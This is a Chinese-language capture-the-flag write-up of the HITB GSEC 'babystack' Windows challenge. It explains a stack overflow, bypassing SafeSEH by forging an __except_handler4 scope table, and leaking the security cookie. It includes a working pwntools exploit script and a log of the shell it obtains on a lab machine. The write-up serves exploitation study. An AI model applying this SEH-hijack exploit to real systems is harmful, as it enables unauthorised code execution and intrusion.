HITB GSEC BABYSTACK -- win pwn 初探
TOC
1. 溢出点 2. 思路 2.1. __except_handler4 3. 脚本
原先只听过 win pwn 这个概念,这次尝试着做了一下,发现 Windows pwn 和 Linux pw 利用起来都差不多,差别就在于:对于 win pwn 的工具太少了。
源程序和相关文件下载:win_babystack.zip 。
由于 windows 调试 pwn 特别麻烦,所以我写了个小程序:(win_server )为了方便调试,其原理和xinted
的程序映射到端口的功能差不多,当远程pwntools
连过来以后,就可以在本地利用xdbg
或者windbg
来调试了。
注意调试的时候关闭ASLR,这样会方便很多。
溢出点 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { FILE *v3; FILE *v4; _DWORD *v5; int v6; int v7; signed int i; char v9[128 ]; signed int v10; v10 = 0 ; v3 = (FILE *)_acrt_iob_func(1 ); setvbuf (v3, 0 , 4 , 0 ); v4 = (FILE *)_acrt_iob_func(0 ); setvbuf (v4, 0 , 4 , 0 ); puts ("ouch! Do not kill me , I will tell you everything" ); printf ("stack address = 0x%x\n" , v9); printf ("main address = 0x%x\n" , main); for ( i = 0 ; i < 10 ; ++i ) { puts ("Do you want to know more?" ); read_n (v9, 10 ); v7 = strcmp (v9, "yes" ); if ( v7 ) v7 = -(v7 < 0 ) | 1 ; if ( v7 ) { v6 = strcmp (v9, "no" ); if ( v6 ) v6 = -(v6 < 0 ) | 1 ; if ( !v6 ) break ; read_n (v9, 256 ); } else { puts ("Where do you want to know" ); v5 = (_DWORD *)sub_401060 (); printf ("Address 0x%x value is 0x%x\n" , v5, *v5); } } v10 = -2 ; puts ("I can tell you everything, but I never believe 1+1=2" ); puts ("AAAA, you kill me just because I don't think 1+1=2??" ); exit (0 ); }
v9
长度为128,但是却可以输入256,直接导致栈溢出,但是程序出口全部都由exit
堵上了。
内置了后门:
.text: 0040138D push offset Command .text: 00401392 call ds :system
从汇编信息可得:
_main proc near push ebp mov ebp , esp push 0FFFFFFFEh push offset stru_403688push offset __except_handler4mov eax , large fs :0 push eax add esp , 0FFFFFF40h mov eax , ___security_cookiexor [ebp -8 ], eax xor eax , ebp mov [ebp -1Ch ], eax
main
安装了异常捕获机制,而且栈溢出恰好可以控制SEH
。
思路 劫持SEH
,控制程序流到后门。
如果没有SAFESEH
,我们可以直接更改handler
来拿到shell,但是有了这层保护,我们则需要想办法绕过它,SAFESEH
会对handler
进行检查,看看是否在__safe_se_handler_table
里面,如果不在就不会执行。
很显然后门地址是肯定不在其中的,那么接下来我们分析它的handler
—-__except_handler4
__except_handler4 代码来自:http://www.jbox.dk/sanos/source/win32/msvcrt/except.c.html 。
void __cdecl ValidateLocalCookies (void (__fastcall *cookieCheckFunction)(unsigned int ), _EH4_SCOPETABLE *scopeTable, char *framePointer) { unsigned int v3; unsigned int v4; if ( scopeTable->GSCookieOffset != -2 ) { v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int )&framePointer[scopeTable->GSCookieXOROffset]; __guard_check_icall_fptr(cookieCheckFunction); ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3); } v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int )&framePointer[scopeTable->EHCookieXOROffset]; __guard_check_icall_fptr(cookieCheckFunction); ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4); } int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int ), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context){ scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8 )); framePointer = (char *)(sehFrame + 16 ); scopeTable = scopeTable_1; ValidateLocalCookies (cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16 )); __except_validate_context_record(context); if ( exceptionRecord->ExceptionFlags & 0x66 ) { ...... } else { exceptionPointers.ExceptionRecord = exceptionRecord; exceptionPointers.ContextRecord = context; tryLevel = *(_DWORD *)(sehFrame + 12 ); *(_DWORD *)(sehFrame - 4 ) = &exceptionPointers; if ( tryLevel != -2 ) { while ( 1 ) { v8 = tryLevel + 2 * (tryLevel + 2 ); filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8); scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8); encloseingLevel = scopeTableRecord->EnclosingLevel; scopeTableRecord_1 = scopeTableRecord; if ( filterFunc ) { filterFuncRet = _EH4_CallFilterFunc(filterFunc); ...... if ( filterFuncRet > 0 ) { ...... _EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16 ); ...... } } ...... tryLevel = encloseingLevel; if ( encloseingLevel == -2 ) break ; scopeTable_1 = scopeTable; } ...... } } ...... }
分析代码可知,我们只要控制了scopeTable
和sehFrame
就可利用filterFunc
来控制程序流。
其SEH
布局如下:
来自:https://bbs.pediy.com/thread-221016.htm 。
Scope Table +-------------------+ | GSCookieOffset | +-------------------+ | GSCookieXorOffset | +-------------------+ EH4 Stack | EHCookieOffset | +-------------------+ +-------------------+ High | ...... | | EHCookieXorOffset | +-------------------+ +-------------------+ ebp | ebp | +-----------> EncloseingLevel <--+-> 0xFFFFFFFE +-------------------+ | Level 0 +-------------------+ | ebp - 04h | TryLevel +---+ | FilterFunc | | +-------------------+ | +-------------------+ | ebp - 08h | Scope Table | | | HandlerFunc | | +-------------------+ | +-------------------+ | ebp - 0Ch | ExceptionHandler | +-----------> EncloseingLevel +--+-> 0x00000000 +-------------------+ Level 1 +-------------------+ ebp - 10h | Next | | FilterFunc | +-------------------+ +-------------------+ ebp - 14h | ExceptionPointers +----+ | HandlerFunc | +-------------------+ | +-------------------+ ebp - 18h | esp | | +-------------------+ | ExceptionPointers Low | ...... | | +-------------------+ +-------------------+ +----------> ExceptionRecord | +-------------------+ | ContextRecord | +-------------------+
首先我们要__security_cookie
的值,他是在程序镜像上的,因为程序已经泄露了main
地址,所以我们可以根据该地址直接计算出来,然后我们就能伪造Scope Table
的地址了。
但是其还有一个ValidateLocalCookies
验证,要求*(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset]
的值必须为__security_cookie
,通常计算可得该值的地址为stack_addr + 104
,所以在溢出的时候我们只要提前设置好该值就行。
脚本 from pwn import *context.arch = 'i386' sh = remote('192.168.3.129' , 1001 ) def get_value (addr ): sh.recvuntil('Do you want to know more?' ) sh.sendline('yes' ) sh.recvuntil('Where do you want to know' ) sh.sendline(str (addr)) sh.recvuntil('value is ' ) return int (sh.recvline(), 16 ) sh.recvuntil('stack address =' ) result = sh.recvline() stack_addr = int (result, 16 ) log.success('stack_addr: ' + hex (stack_addr)) sh.recvuntil('main address =' ) result = sh.recvline() main_address = int (result, 16 ) log.success('main_address: ' + hex (main_address)) security_cookie = get_value(main_address + 12116 ) log.success('security_cookie: ' + hex (security_cookie)) sh.sendline('n' ) next_addr = stack_addr + 212 log.success('next_addr: ' + hex (next_addr)) SCOPETABLE = [ 0x0FFFFFFFE , 0 , 0x0FFFFFFCC , 0 , 0xFFFFFFFE , main_address + 733 , ] payload = 'a' * 16 + flat(SCOPETABLE).ljust(104 - 16 , 'a' ) + p32((stack_addr + 156 ) ^ security_cookie) + 'c' * 32 + p32(next_addr) + p32(main_address + 944 ) + p32((stack_addr + 16 ) ^ security_cookie) + p32(0 ) + 'b' * 16 sh.sendline(payload) sh.recvline() sh.sendline('yes' ) sh.recvuntil('Where do you want to know' ) sh.sendline('0' ) sh.interactive()
运行实例:
ex@Ex:~/test$ python exp.py [+] Opening connection to 192.168.3.129 on port 1001: Done [+] stack_addr: 0x2bffa10 [+] main_address: 0xa110b0 [+] security_cookie: 0xd5813fd0 [+] next_addr: 0x2bffae4 [*] Switching to interactive mode Microsoft Windows [Version 10.0.17763.557] (c) 2018 Microsoft Corporation. All rights reserved. D:\test>$ whoami whoami win10\ex D:\test>$ type txt type txt 123456 D:\test>$ exit exit AAAA, you kill me just because I don't think 1+1=2?? [*] Got EOF while reading in interactive $ [*] Closed connection to 192.168.3.129 port 1001 [*] Got EOF while sending in interactive
部分资料来源: